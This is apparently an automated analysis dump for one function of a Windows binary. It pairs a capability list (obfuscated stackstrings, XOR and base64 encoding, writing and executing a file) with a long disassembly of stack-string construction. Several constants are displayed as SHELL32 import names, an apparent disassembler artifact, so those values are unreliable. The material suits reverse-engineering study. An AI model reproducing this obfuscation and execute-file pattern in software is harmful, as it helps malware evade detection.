Function at 0x140052950
Capabilities:
Accept command line arguments
Authenticate hmac
Check http status code
Clear file content
Contain obfuscated stackstrings
Create process on windows
Encode data using base64
Encode data using xor
Get common file path
Get file version info
Get session user name
Identify system language via api
Manipulate console buffer
Move file
Parse pe header
Query environment variable
Read file on windows
Set console window title
Set file attributes
Write and execute a file

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x28848
call fcn.140242e90
sub rsp, rax
movabs rax, 0x95a3b3fee81936db
mov qword [rsp + 0x8330], rax
movabs rax, 0xa8ff4fcd048e2774
mov qword [rsp + 0x8338], rax
mov dword [rsp + 0x4808], 0x600cca64
mov byte [rsp + 0x50], 0x25
movabs rax, 0x4599685d23145c74
mov qword [rsp + 0x8340], rax
movabs rax, 0xba7746668200e1ae
mov qword [rsp + 0x8348], rax
movabs rax, 0x313cf2e2d05f4cb9
mov qword [rsp + 0x8350], rax
mov dword [rsp + 0x480c], 0x7d1c543c
mov byte [rsp + 0x51], 0x20
mov byte [rsp + 0x52], 0x92
mov dword [rsp + 0x4810], 0x40f27c3d
mov byte [rsp + 0x53], PathMakeUniqueName
movabs rax, 0xb6652e55e46d390e
mov qword [rsp + 0x8358], rax
mov dword [rsp + 0x4814], 0x3e08b4ab
mov byte [rsp + 0x54], 0x64
mov byte [rsp + 0x55], 0xa7
mov eax, 0x4ea
mov word [rsp + 0xe60], ax
mov eax, 0x110
mov word [rsp + 0xe64], ax
mov dword [rsp + 0x4818], 0x1086ffb0
mov dword [rsp + 0x481c], 0x32e1c123
mov byte [rsp + 0x56], 0x78
mov byte [rsp + 0x57], 0x4f
mov dword [rsp + 0x4820], 0x39098e92
mov byte [rsp + 0x58], ILCreateFromPathA
mov byte [rsp + 0x59], 0xbe
mov dword [rsp + 0x4824], 0xfb463276
mov dword [rsp + 0x4828], 0x81e35676
mov eax, PathMakeUniqueName
mov word [rsp + 0xe68], ax
movabs rax, 0x4c1193e6d8e2af4f
mov qword [rsp + 0x8360], rax
mov byte [rsp + 0x5a], 0x31
movabs rax, 0x2250e139a829f5b9
mov qword [rsp + 0x8368], rax
movabs rax, 0x666f0c798183128
mov qword [rsp + 0x8370], rax
mov dword [rsp + 0x482c], 0x6ead494
mov byte [rsp + 0x5b], 0x6b
mov dword [rsp + 0x4830], 0x456a10cd
mov eax, 0x786
mov word [rsp + 0xe6c], ax
movabs rax, 0xd006abaf0561e3ed
mov qword [rsp + 0x8378], rax
movabs rax, 0x6617ee281aea2a82
mov qword [rsp + 0x8380], rax
movabs rax, 0x65962e82db4ddb5a
mov qword [rsp + 0x8388], rax
mov eax, 0x4443
mov word [rsp + 0xe70], ax
mov eax, 0x5a9
mov word [rsp + 0xe74], ax
mov eax, 0x1ff3
mov word [rsp + 0xe78], ax
movabs rax, 0x2a947595189af82c
mov qword [rsp + 0x8390], rax
mov byte [rsp + 0x5c], reloc.SHELL32.dll_ILFindChild
movabs rax, 0xcde4654f618cac23
mov qword [rsp + 0x8398], rax
mov byte [rsp + 0x5d], 0x68
movabs rax, 0xd7e18e928d38e1b6
mov qword [rsp + 0x83a0], rax
mov eax, 0x79f5
mov word [rsp + 0xe7c], ax
mov dword [rsp + 0x4834], 0x5aab9c09
mov byte [rsp + 0x5e], 0x5d
mov dword [rsp + 0x4838], 0x6db740cf
mov dword [rsp + 0x483c], 0xe52e1e8c
mov eax, 0xf4a
mov word [rsp + 0xe80], ax
mov dword [rsp + 0x4840], 0x75c43485
mov dword [rsp + 0x4844], 0x309d9e2
mov dword [rsp + 0x4848], 0x13c907b5
mov dword [rsp + 0x484c], 0x22df00e5
mov dword [rsp + 0x4850], 0x5f7c9fee
mov eax, 0x60f
mov word [rsp + 0xe84], ax
mov byte [rsp + 0x5f], 8
mov eax, 0xb2b
mov word [rsp + 0xe88], ax
mov dword [rsp + 0x4854], 0x4e2c9378
mov eax, 0x16b
mov word [rsp + 0xe8c], ax
mov eax, 0xc7b
mov word [rsp + 0xe90], ax
mov eax, 0x7ab
mov word [rsp + 0xe94], ax
mov dword [rsp + 0x4858], 0x59e58600
mov byte [rsp + 0x60], 0xc9
mov byte [rsp + 0x61], 0x31
mov eax, 0xa3a
mov word [rsp + 0xe98], ax
mov eax, 0xfe3
mov word [rsp + 0xe9c], ax
movabs rax, 0x6ca71bb5a5b6aad5
mov qword [rsp + 0x83a8], rax
movabs rax, 0x3c0274ca7cc54631
mov qword [rsp + 0x83b0], rax
movabs rax, 0x4251c32aa4ba49af
mov qword [rsp + 0x83b8], rax
mov byte [rsp + 0x62], 0x31
mov byte [rsp + 0x63], 0x7d
mov eax, 0x2cb1
mov word [rsp + 0xea0], ax
mov byte [rsp + 0x64], 0x43
mov eax, 0x3053
mov word [rsp + 0xea4], ax
movabs rax, 0x144fd7209706f767
mov qword [rsp + 0x83c0], rax
mov eax, 0x51d9
mov word [rsp + 0xea8], ax
mov byte [rsp + 0x65], 0x59
mov eax, 0x1a17
mov word [rsp + 0xeac], ax
mov byte [rsp + 0x66], SHDoDragDrop
mov byte [rsp + 0x67], 0x3e
mov byte [rsp + 0x68], 0x7c
mov eax, 0x7d1b
mov word [rsp + 0xeb0], ax
mov byte [rsp + 0x69], 0x27
mov dword [rsp + 0x485c], 0x1fe7150
movabs rax, 0x29c3b56b41ccd7b6
mov qword [rsp + 0x83c8], rax
mov dword [rsp + 0x4860], 0xb3c8b09
movabs rax, 0xa2ee0cbc14905175
mov qword [rsp + 0x83d0], rax
mov eax, 0x39d
mov word [rsp + 0xeb4], ax
mov dword [rsp + 0x4864], 0x29b968c8
mov dword [rsp + 0x4868], 0x21a30231
mov eax, 0xb21
mov word [rsp + 0xeb8], ax
movabs rax, 0x98d090d57704d490
mov qword [rsp + 0x83d8], rax
mov byte [rsp + 0x6a], 0x1f
mov eax, 0x5f4
mov word [rsp + 0xebc], ax
movabs rax, 0x2f3269965cb431f
mov qword [rsp + 0x83e0], rax
mov eax, 0xeb
mov word [rsp + 0xec0], ax
movabs rax, 0xd8d7a08ab08ff5ec
mov qword [rsp + 0x83e8], rax
mov byte [rsp + 0x6b], 0x44
movabs rax, 0xf38b82a428afb474
mov qword [rsp + 0x83f0], rax
mov dword [rsp + 0x486c], 0x51e53f62
mov eax, 0x2c1c
mov word [rsp + 0xec4], ax
mov eax, 0xb86
mov word [rsp + 0xec8], ax
mov byte [rsp + 0x6c], 0x46
mov byte [rsp + 0x6d], 0x29
mov eax, 0x1d82
mov word [rsp + 0xecc], ax
mov dword [rsp + 0x4870], 0xb2e9c079
mov dword [rsp + 0x4874], 0x59c7cdc9
mov eax, 0x4e5
mov word [rsp + 0xed0], ax
mov dword [rsp + 0x4878], 0x3bb9cdf6
mov dword [rsp + 0x487c], 0x2e4d931c
mov byte [rsp + 0x6e], ILCloneFirst
mov dword [rsp + 0x4880], 0x3104102f
movabs rax, 0x360352074ce3fdf8
mov qword [rsp + 0x83f8], rax
mov eax, 0xf57
mov word [rsp + 0xed4], ax
mov dword [rsp + 0x4884], 0x22456405
mov dword [rsp + 0x4888], 0x272de641
mov eax, 0x251
mov word [rsp + 0xed8], ax
mov eax, 0x579
mov word [rsp + 0xedc], ax
mov dword [rsp + 0x488c], 0x483c5bbb
mov dword [rsp + 0x4890], 0x3670c5d0
mov byte [rsp + 0x6f], ILGetNext
mov eax, 0x1ceb
mov word [rsp + 0xee0], ax
mov byte [rsp + 0x70], 0x61
movabs rax, 0xbefd34e51d0513f0
mov qword [rsp + 0x8400], rax
mov eax, 0x665c
mov word [rsp + 0xee4], ax
movabs rax, 0x52dfab025e103b9f
mov qword [rsp + 0x8408], rax
mov byte [rsp + 0x71], 4
movabs rax, 0xaf0bcd4c65d677a8
mov qword [rsp + 0x8410], rax
movabs rax, 0x9059c3d9a00a8d
mov qword [rsp + 0x8418], rax
mov byte [rsp + 0x72], SHGetNewLinkInfoA
movabs rax, 0x3d6060f1d9725471
mov qword [rsp + 0x8420], rax
mov eax, 0x1a2e
mov word [rsp + 0xee8], ax
mov dword [rsp + 0x4894], 0xbd3fc49b
mov dword [rsp + 0x4898], 0x5a2787bd
mov dword [rsp + 0x489c], 0x51463a18
mov dword [rsp + 0x48a0], 0x7329ae6f
mov byte [rsp + 0x73], 0x71
movabs rax, 0x44b0a04ebbcc1cbc
mov qword [rsp + 0x8428], rax
mov dword [rsp + 0x48a4], 0x7b1708c
movabs rax, 0xc116bf8bfebad8b
mov qword [rsp + 0x8430], rax
movabs rax, 0x6a66d3dea41901ea
mov qword [rsp + 0x8438], rax
movabs rax, 0x772337b6346026c5
mov qword [rsp + 0x8440], rax
mov dword [rsp + 0x48a8], 0x1e732dae
movabs rax, 0x76d32bf4489c62a1
mov qword [rsp + 0x8448], rax
mov eax, 0x5967
mov word [rsp + 0xeec], ax
mov eax, 0x337
mov word [rsp + 0xef0], ax
mov byte [rsp + 0x74], 0x5c
mov dword [rsp + 0x48ac], 0x7aec2f0c
mov dword [rsp + 0x48b0], 0x6ec306da
mov byte [rsp + 0x75], 0x3b
mov dword [rsp + 0x48b4], 0x286c860f
movabs rax, 0x65bab4061e0a2702
mov qword [rsp + 0x8450], rax
movabs rax, 0x5f220ec49508044b
mov qword [rsp + 0x8458], rax
mov byte [rsp + 0x76], 0xc0
movabs rax, 0x59915d7d014846ca
mov qword [rsp + 0x8460], rax
mov byte [rsp + 0x77], 0x62
movabs rax, 0x893f29db09ea8729
mov qword [rsp + 0x8468], rax
mov eax, 0x4769
mov word [rsp + 0xef4], ax
mov byte [rsp + 0x78], 0x41
mov byte [rsp + 0x79], 0
movabs rax, 0x39380bd3a8d94f2f
mov qword [rsp + 0x8470], rax
mov eax, 0x49e
mov word [rsp + 0xef8], ax
mov eax, 0xa93
mov word [rsp + 0xefc], ax
mov eax, 0x53ea
mov word [rsp + 0xf00], ax
movabs rax, 0x5c0b0e0ee601e61c
mov qword [rsp + 0x8478], rax
mov eax, 0x98d
mov word [rsp + 0xf04], ax
mov eax, SHMultiFileProperties
mov word [rsp + 0xf08], ax
mov byte [rsp + 0x7a], 0x50
mov dword [rsp + 0x48b8], 0xdaaa3e97
mov dword [rsp + 0x48bc], 0x380d1dd8
mov dword [rsp + 0x48c0], 0xc9a2f4c
mov byte [rsp + 0x7b], 0xc0
mov byte [rsp + 0x7c], 7
mov dword [rsp + 0x48c4], 0x2b1792cf
movabs rax, 0x2b61f7aad1bf4619
mov qword [rsp + 0x8480], rax
mov eax, 0x3e61
mov word [rsp + 0xf0c], ax
mov byte [rsp + 0x7d], 0xdf
movabs rax, 0x19f7580259e0f95c
mov qword [rsp + 0x8488], rax
mov byte [rsp + 0x7e], PathMakeUniqueName
mov eax, 0xde
mov word [rsp + 0xf10], ax
mov byte [rsp + 0x7f], 0xc4
movabs rax, 0x18eee6fac1047617
mov qword [rsp + 0x8490], rax
movabs rax, 0x187f25a2417a6220
mov qword [rsp + 0x8498], rax
mov byte [rsp + 0x80], ILFindChild
movabs rax, 0x2756a7c5d26eef87
mov qword [rsp + 0x84a0], rax
mov eax, 0x3a13
mov word [rsp + 0xf14], ax
movabs rax, 0x2b8b47bcf9114552
mov qword [rsp + 0x84a8], rax
mov byte [rsp + 0x81], reloc.SHELL32.dll_ILClone
mov eax, 0xb8c
mov word [rsp + 0xf18], ax
mov eax, 0x770
mov word [rsp + 0xf1c], ax
mov dword [rsp + 0x48c8], 0x9e316ca1
movabs rax, 0x6ce0056e6f34757e
mov qword [rsp + 0x84b0], rax
mov eax, 0x3816
mov word [rsp + 0xf20], ax
mov dword [rsp + 0x48cc], 0x974cecd4
mov byte [rsp + 0x82], 0x41
mov byte [rsp + 0x83], 0x69
movabs rax, 0x755ef929d399108a
mov qword [rsp + 0x84b8], rax
mov eax, 0x56ca
mov word [rsp + 0xf24], ax
movabs rax, 0x6752a37c11928553
mov qword [rsp + 0x84c0], rax
mov byte [rsp + 0x84], SHTestTokenMembership
mov eax, 0x45b2
mov word [rsp + 0xf28], ax
movabs rax, 0x279af6fbba72f881
mov qword [rsp + 0x84c8], rax
mov dword [rsp + 0x48d0], 0x100af3
movabs rax, 0x125855a2a610c398
mov qword [rsp + 0x84d0], rax
mov dword [rsp + 0x48d4], 0x42716f9
mov dword [rsp + 0x48d8], 0x9357764b
mov byte [rsp + 0x85], 0x44
mov byte [rsp + 0x86], 0x68
mov dword [rsp + 0x48dc], 0x6fc1125d
mov dword [rsp + 0x48e0], 0x17cab2bd
movabs rax, 0xf7cfbfd0bab7db42
mov qword [rsp + 0x84d8], rax
mov dword [rsp + 0x48e4], 0x2d3f8d71
mov byte [rsp + 0x87], ILFindChild
mov dword [rsp + 0x48e8], 0x9adf9f31
mov byte [rsp + 0x88], 0x81
mov dword [rsp + 0x48ec], 0x19d06254
mov eax, 0xd9
mov word [rsp + 0xf2c], ax
mov dword [rsp + 0x48f0], 0x20912e68
movabs rax, 0xea1fcc291f9cc8aa
mov qword [rsp + 0x84e0], rax
mov eax, 0xf12
mov word [rsp + 0xf30], ax
mov dword [rsp + 0x48f4], 0xd6064a85
mov byte [rsp + 0x89], 0xc5
movabs rax, 0x6fbc33bec7e40c7f
mov qword [rsp + 0x84e8], rax
mov dword [rsp + 0x48f8], 0x658f36fc
mov dword [rsp + 0x48fc], 0x71b32022
mov dword [rsp + 0x4900], 0x3a99fa76
mov byte [rsp + 0x8a], 0x31
mov byte [rsp + 0x8b], 0x77
mov byte [rsp + 0x8c], ILFindChild
mov byte [rsp + 0x8d], PathMakeUniqueName
mov dword [rsp + 0x4904], 0xa7822a
movabs rax, 0x1b43a1ee908acfbb
mov qword [rsp + 0x84f0], rax
movabs rax, 0x47103fb47e13e5fe
mov qword [rsp + 0x84f8], rax
mov byte [rsp + 0x8e], ILCloneFirst
mov dword [rsp + 0x4908], 0xb05a873c
mov byte [rsp + 0x8f], 0x4f
mov dword [rsp + 0x490c], 0xe935f2e8
mov eax, 0xa86
mov word [rsp + 0xf34], ax
mov dword [rsp + 0x4910], 0x48d2db94
mov eax, 0x5933
mov word [rsp + 0xf38], ax
mov eax, reloc.SHELL32.dll_SHGetNewLinkInfoA
mov word [rsp + 0xf3c], ax
mov dword [rsp + 0x4914], 0xdd0966bd
mov eax, 0xd60
mov word [rsp + 0xf40], ax
mov dword [rsp + 0x4918], 0x1ae57d94
movabs rax, 0x75e8e7615a592843
mov qword [rsp + 0x8500], rax
mov eax, 0x511f
mov word [rsp + 0xf44], ax
mov byte [rsp + 0x90], 0x26
mov byte [rsp + 0x91], 0x85
movabs rax, 0x96c468f0a4771aff
mov qword [rsp + 0x8508], rax
mov byte [rsp + 0x92], 1
mov eax, 0x14d
mov word [rsp + 0xf48], ax
mov dword [rsp + 0x491c], 0x7b7bbf72
movabs rax, 0xf14a57792299d920
mov qword [rsp + 0x8510], rax
mov byte [rsp + 0x93], ILCloneFirst
movabs rax, 0x170269841400e7e1
mov qword [rsp + 0x8518], rax
mov byte [rsp + 0x94], ILFindChild
mov dword [rsp + 0x4920], 0xed8ba36
mov eax, 0xe7a
mov word [rsp + 0xf4c], ax
mov byte [rsp + 0x95], 0x39
movabs rax, 0x65f9f8c65c28a671
mov qword [rsp + 0x8520], rax
mov dword [rsp + 0x4924], 0x956b00b2
mov eax, 0x5a3
mov word [rsp + 0xf50], ax
mov byte [rsp + 0x96], reloc.SHELL32.dll_ILCombine
mov eax, 0x2879
mov word [rsp + 0xf54], ax
mov dword [rsp + 0x4928], 0x6e851a1a
movabs rax, 0xfcd6a82b47cf5a41
mov qword [rsp + 0x8528], rax
mov eax, 0x7600
mov word [rsp + 0xf58], ax
mov dword [rsp + 0x492c], 0x4586fb25
mov dword [rsp + 0x4930], 0x12a34ba
mov byte [rsp + 0x97], 0x6b
mov byte [rsp + 0x98], 0x4e
mov byte [rsp + 0x99], 0x6a
movabs rax, 0x572be9bfd0bddcae
mov qword [rsp + 0x8530], rax
mov dword [rsp + 0x4934], 0x49c089d9
movabs rax, 0x53f03077bcb425c8
mov qword [rsp + 0x8538], rax
mov eax, 0x60a
mov word [rsp + 0xf5c], ax
mov dword [rsp + 0x4938], 0x51254ef7
mov dword [rsp + 0x493c], 0x51f4204b
mov dword [rsp + 0x4940], 0x5abb017f
mov eax, 0x7c32
mov word [rsp + 0xf60], ax
mov dword [rsp + 0x4944], 0x68dd1216
mov byte [rsp + 0x9a], 0x3b
mov dword [rsp + 0x4948], 0x40436fcc
mov eax, 0x293a
mov word [rsp + 0xf64], ax
mov eax, 0xa8
mov word [rsp + 0xf68], ax
mov byte [rsp + 0x9b], ILFindChild
mov dword [rsp + 0x494c], 0x60cc0a29
mov dword [rsp + 0x4950], 0x56b27b07
mov dword [rsp + 0x4954], 0x7d3cbc0c
mov eax, 0x6b4
mov word [rsp + 0xf6c], ax
mov eax, 0xf4e
mov word [rsp + 0xf70], ax
mov dword [rsp + 0x4958], 0x31771496
movabs rax, 0x89671374cfb28450
mov qword [rsp + 0x8540], rax
mov dword [rsp + 0x495c], 0x342d4e16
mov eax, 0xfbe
mov word [rsp + 0xf74], ax
movabs rax, 0x5260411b2f83fb32
mov qword [rsp + 0x8548], rax
mov eax, 0x5d3d
mov word [rsp + 0xf78], ax
mov eax, 0x98b
mov word [rsp + 0xf7c], ax
mov dword [rsp + 0x4960], 0x7c10942b
mov byte [rsp + 0x9c], 0xc8
mov eax, 0x52d
mov word [rsp + 0xf80], ax
mov dword [rsp + 0x4964], 0x6b87a587
movabs rax, 0x41924fd640c91317
mov qword [rsp + 0x8550], rax
movabs rax, 0xc8a5d908a2777b05
mov qword [rsp + 0x8558], rax
mov eax, 0x4c32
mov word [rsp + 0xf84], ax
mov eax, 0xafc
mov word [rsp + 0xf88], ax
movabs rax, 0x64ef5658e5df7f73
mov qword [rsp + 0x8560], rax
mov byte [rsp + 0x9d], reloc.SHELL32.dll_ILCombine
mov dword [rsp + 0x4968], 0xf2f64778
mov dword [rsp + 0x496c], 0xb8f0565
movabs rax, 0x3d129791e66318b8
mov qword [rsp + 0x8568], rax
movabs rax, 0xcd5567204d2c58f7
mov qword [rsp + 0x8570], rax
mov dword [rsp + 0x4970], 0x17e4888d
mov dword [rsp + 0x4974], 0x2495cd4d
movabs rax, 0x312d103686817d81
mov qword [rsp + 0x8578], rax
movabs rax, 0x21380383ff9d8ffd
mov qword [rsp + 0x8580], rax
mov dword [rsp + 0x4978], 0x617b932
mov eax, 0x379
mov word [rsp + 0xf8c], ax
movabs rax, 0x3b8e528418d44f39
mov qword [rsp + 0x8588], rax
mov dword [rsp + 0x497c], 0xd23082d
mov byte [rsp + 0x9e], 0xa1
mov byte [rsp + 0x9f], ILCreateFromPathA
movabs rax, 0x652d8e8159c02e0f
mov qword [rsp + 0x8590], rax
movabs rax, 0x7c88beeaf7efad9d
mov qword [rsp + 0x8598], rax
movabs rax, 0xa4a4301c4b0ca437
mov qword [rsp + 0x85a0], rax
mov eax, 0x612
mov word [rsp + 0xf90], ax
mov byte [rsp + 0xa0], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0xa1], 0x88
mov eax, 0x215b
mov word [rsp + 0xf94], ax
mov eax, 0x3b21
mov word [rsp + 0xf98], ax
mov byte [rsp + 0xa2], 0xdc
mov eax, 0x7134
mov word [rsp + 0xf9c], ax
mov eax, 0x1c3
mov word [rsp + 0xfa0], ax
mov byte [rsp + 0xa3], 0x34
mov dword [rsp + 0x4980], 0x562b521e
mov byte [rsp + 0xa4], 0x6c
mov byte [rsp + 0xa5], 0xe3
mov byte [rsp + 0xa6], 0x49
mov dword [rsp + 0x4984], 0x1fabd8d2
mov byte [rsp + 0xa7], 0x4b
mov eax, 0x3d6f
mov word [rsp + 0xfa4], ax
mov eax, 0x3d9a
mov word [rsp + 0xfa8], ax
mov eax, 0x7055
mov word [rsp + 0xfac], ax
mov dword [rsp + 0x4988], 0x57734b55
mov byte [rsp + 0xa8], 0x4b
mov byte [rsp + 0xa9], 0xe7
mov eax, 0x3b6a
mov word [rsp + 0xfb0], ax
movabs rax, 0x49fda03e848d47f7
mov qword [rsp + 0x85a8], rax
mov dword [rsp + 0x498c], 0x7eb9e038
movabs rax, 0x382549fbd32e1bdc
mov qword [rsp + 0x85b0], rax
mov byte [rsp + 0xaa], 0x65
mov eax, 0x938
mov word [rsp + 0xfb4], ax
mov eax, 0xf69
mov word [rsp + 0xfb8], ax
mov dword [rsp + 0x4990], 0x9266392
mov byte [rsp + 0xab], 0x50
movabs rax, 0x3769bdd1ca8d7fc7
mov qword [rsp + 0x85b8], rax
mov dword [rsp + 0x4994], 0xeb6f99d5
movabs rax, 0xff773b8c9d948d4
mov qword [rsp + 0x85c0], rax
mov byte [rsp + 0xac], 0x3b
movabs rax, 0xd763594e91a7066b
mov qword [rsp + 0x85c8], rax
mov dword [rsp + 0x4998], 0xa4d43b04
mov eax, 0x30f4
mov word [rsp + 0xfbc], ax
mov dword [rsp + 0x499c], 0x196aa948
movabs rax, 0x5d2c2134b6121cf1
mov qword [rsp + 0x85d0], rax
mov eax, 0x567
mov word [rsp + 0xfc0], ax
mov byte [rsp + 0xad], 0x77
mov dword [rsp + 0x49a0], 0x46e67674
movabs rax, 0x1b428b1a6ca4da28
mov qword [rsp + 0x85d8], rax
mov byte [rsp + 0xae], 0xa6
movabs rax, 0x7443f1d49119608b
mov qword [rsp + 0x85e0], rax
mov eax, 0x83e
mov word [rsp + 0xfc4], ax
movabs rax, 0x330c8bcbcb1fa629
mov qword [rsp + 0x85e8], rax
mov byte [rsp + 0xaf], 0x33
movabs rax, 0xffb26a4322c7fd91
mov qword [rsp + 0x85f0], rax
mov dword [rsp + 0x49a4], 0x37e2e3ac
mov byte [rsp + 0xb0], 0x7d
mov dword [rsp + 0x49a8], 0x543d1c2e
mov eax, 0x692
mov word [rsp + 0xfc8], ax
movabs rax, 0x3dd2a758fa35cba7
mov qword [rsp + 0x85f8], rax
mov dword [rsp + 0x49ac], 0xdc7ab657
mov eax, 0x4ba5
mov word [rsp + 0xfcc], ax
movabs rax, 0xe2b45f91d387063f
mov qword [rsp + 0x8600], rax
movabs rax, 0x19dd8c1f8478bc15
mov qword [rsp + 0x8608], rax
mov eax, 0x4501
mov word [rsp + 0xfd0], ax
movabs rax, 0x970d641e6d6b848d
mov qword [rsp + 0x8610], rax
movabs rax, 0x38d1a521fbd24d5f
mov qword [rsp + 0x8618], rax
movabs rax, 0xff0cede471b937fd
mov qword [rsp + 0x8620], rax
mov eax, 0x4de8
mov word [rsp + 0xfd4], ax
mov eax, 0x8e9
mov word [rsp + 0xfd8], ax
mov byte [rsp + 0xb1], 0x74
mov dword [rsp + 0x49b0], 0x440f8d87
mov eax, 0xdd2
mov word [rsp + 0xfdc], ax
mov eax, 0x1c07
mov word [rsp + 0xfe0], ax
mov eax, 0xf28
mov word [rsp + 0xfe4], ax
movabs rax, 0x52deacc9d9ce81c5
mov qword [rsp + 0x8628], rax
mov dword [rsp + 0x49b4], 0x6ee01c1c
mov byte [rsp + 0xb2], 0xa2
mov byte [rsp + 0xb3], 0x5c
mov byte [rsp + 0xb4], 0x61
mov byte [rsp + 0xb5], 0x43
mov eax, 0x87f
mov word [rsp + 0xfe8], ax
movabs rax, 0x4932e270b44d5f38
mov qword [rsp + 0x8630], rax
mov byte [rsp + 0xb6], 0x6c
mov dword [rsp + 0x49b8], 0x6e6f1a27
movabs rax, 0xc1f862e354fb42c7
mov qword [rsp + 0x8638], rax
mov dword [rsp + 0x49bc], 0x68840982
mov eax, 0xc05
mov word [rsp + 0xfec], ax
mov dword [rsp + 0x49c0], 0xdcaa5c05
mov byte [rsp + 0xb7], SHDoDragDrop
movabs rax, 0xa6b94f0b3ff61be
mov qword [rsp + 0x8640], rax
mov dword [rsp + 0x49c4], 0x7063c323
mov eax, 0x5d06
mov word [rsp + 0xff0], ax
movabs rax, 0x8fe4738c6df01943
mov qword [rsp + 0x8648], rax
mov eax, 0xc5d
mov word [rsp + 0xff4], ax
movabs rax, 0x67de69a40a49cb1e
mov qword [rsp + 0x8650], rax
mov dword [rsp + 0x49c8], 0x6baf6af0
mov eax, 0x7219
mov word [rsp + 0xff8], ax
mov eax, 0xad5
mov word [rsp + 0xffc], ax
mov eax, 0xf4c
mov word [rsp + 0x1000], ax
mov byte [rsp + 0xb8], 0x65
movabs rax, 0x70f979483c20f660
mov qword [rsp + 0x8658], rax
mov byte [rsp + 0xb9], 0x30
mov byte [rsp + 0xba], SHDoDragDrop
mov byte [rsp + 0xbb], 0xdc
movabs rax, 0xd2deab9efdfdf67d
mov qword [rsp + 0x8660], rax
mov byte [rsp + 0xbc], 0x79
mov dword [rsp + 0x49cc], 0x50c5c807
mov dword [rsp + 0x49d0], 0x626cc7e
movabs rax, 0x5e2e955316321b3
mov qword [rsp + 0x8668], rax
movabs rax, 0x12c260c3704621c8
mov qword [rsp + 0x8670], rax
mov byte [rsp + 0xbd], 0xe1
movabs rax, 0x72c740c3897e2d1a
mov qword [rsp + 0x8678], rax
mov byte [rsp + 0xbe], 0x43
mov byte [rsp + 0xbf], SHDoDragDrop
mov byte [rsp + 0xc0], 0x71
mov dword [rsp + 0x49d4], 0xb1716716
mov eax, 0xd06
mov word [rsp + 0x1004], ax
movabs rax, 0xde946403485051bc
mov qword [rsp + 0x8680], rax
movabs rax, 0x5ce65afc365d37de
mov qword [rsp + 0x8688], rax
movabs rax, 0xefc1e4ec835df228
mov qword [rsp + 0x8690], rax
movabs rax, 0x1be983f5724fa587
mov qword [rsp + 0x8698], rax
movabs rax, 0x32185c35429010ce
mov qword [rsp + 0x86a0], rax
mov eax, 0x3efc
mov word [rsp + 0x1008], ax
mov dword [rsp + 0x49d8], 0xc9bc056a
movabs rax, 0x26896c3ec259ecf7
mov qword [rsp + 0x86a8], rax
movabs rax, 0x11cdec3f13bdb2f3
mov qword [rsp + 0x86b0], rax
mov dword [rsp + 0x49dc], 0x74bdb04c
movabs rax, 0x8080453b804f66a1
mov qword [rsp + 0x86b8], rax
mov eax, 0x2d6
mov word [rsp + 0x100c], ax
mov dword [rsp + 0x49e0], 0x6d90a319
mov eax, 0x23e2
mov word [rsp + 0x1010], ax
mov eax, 0x85f
mov word [rsp + 0x1014], ax
movabs rax, 0x33f0054c022c75dd
mov qword [rsp + 0x86c0], rax
mov eax, 0xcc1
mov word [rsp + 0x1018], ax
mov byte [rsp + 0xc1], 0x32
mov eax, 0xa6
mov word [rsp + 0x101c], ax
mov byte [rsp + 0xc2], SHDoDragDrop
mov eax, 0x784
mov word [rsp + 0x1020], ax
movabs rax, 0xff4da327ab4feae6
mov qword [rsp + 0x86c8], rax
mov byte [rsp + 0xc3], 0x3a
movabs rax, 0xfd9844d9d4808b7f
mov qword [rsp + 0x86d0], rax
mov eax, 0x5d06
mov word [rsp + 0x1024], ax
movabs rax, 0x40eb54803126fc3b
mov qword [rsp + 0x86d8], rax
mov byte [rsp + 0xc4], 0x1f
mov byte [rsp + 0xc5], 0x6d
mov dword [rsp + 0x49e4], 0x88f7f0fa
mov byte [rsp + 0xc6], PathMakeUniqueName
mov dword [rsp + 0x49e8], 0xb7d8e7ef
movabs rax, 0x35ccb5efe22eecaa
mov qword [rsp + 0x86e0], rax
mov dword [rsp + 0x49ec], 0x508f4774
mov dword [rsp + 0x49f0], 0xb929f5b
mov dword [rsp + 0x49f4], 0x59c34e53
mov dword [rsp + 0x49f8], 0x5e26995b
mov dword [rsp + 0x49fc], 0x46dafe3c
movabs rax, 0x87dea180368f1443
mov qword [rsp + 0x86e8], rax
mov eax, 0x2bc2
mov word [rsp + 0x1028], ax
mov byte [rsp + 0xc7], 7
mov dword [rsp + 0x4a00], 0x85ea77f
mov eax, 0xc1c
mov word [rsp + 0x102c], ax
mov byte [rsp + 0xc8], 0x72
mov eax, 0x1800
mov word [rsp + 0x1030], ax
movabs rax, 0x2213bc120ccf6c82
mov qword [rsp + 0x86f0], rax
mov dword [rsp + 0x4a04], 0x6940302e
mov eax, 0x5d70
mov word [rsp + 0x1034], ax
mov byte [rsp + 0xc9], 0x4f
mov eax, 0xf45
mov word [rsp + 0x1038], ax
mov byte [rsp + 0xca], 0x66
mov eax, 0xa26
mov word [rsp + 0x103c], ax
mov eax, 0x14f
mov word [rsp + 0x1040], ax
mov byte [rsp + 0xcb], 2
movabs rax, 0x551af8ba29b1b9a8
mov qword [rsp + 0x86f8], rax
mov dword [rsp + 0x4a08], 0xe06bf56e
movabs rax, 0x5af99ef0da6f74b0
mov qword [rsp + 0x8700], rax
movabs rax, 0x21ac56c2bf8d6d2c
mov qword [rsp + 0x8708], rax
movabs rax, 0x61ca788ecd58ef2c
mov qword [rsp + 0x8710], rax
mov byte [rsp + 0xcc], 0xce
mov dword [rsp + 0x4a0c], 0x4fde1880
movabs rax, 0xfa15517ecf5c755c
mov qword [rsp + 0x8718], rax
mov byte [rsp + 0xcd], 0x59
mov eax, 0x2157
mov word [rsp + 0x1044], ax
mov byte [rsp + 0xce], 0x6b
mov eax, 0x3f72
mov word [rsp + 0x1048], ax
movabs rax, 0x300f4438cc6abd6d
mov qword [rsp + 0x8720], rax
mov eax, 0xc60
mov word [rsp + 0x104c], ax
mov byte [rsp + 0xcf], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0xd0], 0x46
mov dword [rsp + 0x4a10], 0xe5f4173c
mov dword [rsp + 0x4a14], 0xf69fdef6
mov eax, 0x16d
mov word [rsp + 0x1050], ax
mov byte [rsp + 0xd1], PathMakeUniqueName
mov dword [rsp + 0x4a18], 0x7becf195
mov eax, 0x3497
mov word [rsp + 0x1054], ax
mov byte [rsp + 0xd2], 0x50
movabs rax, 0x16b372db697fe621
mov qword [rsp + 0x8728], rax
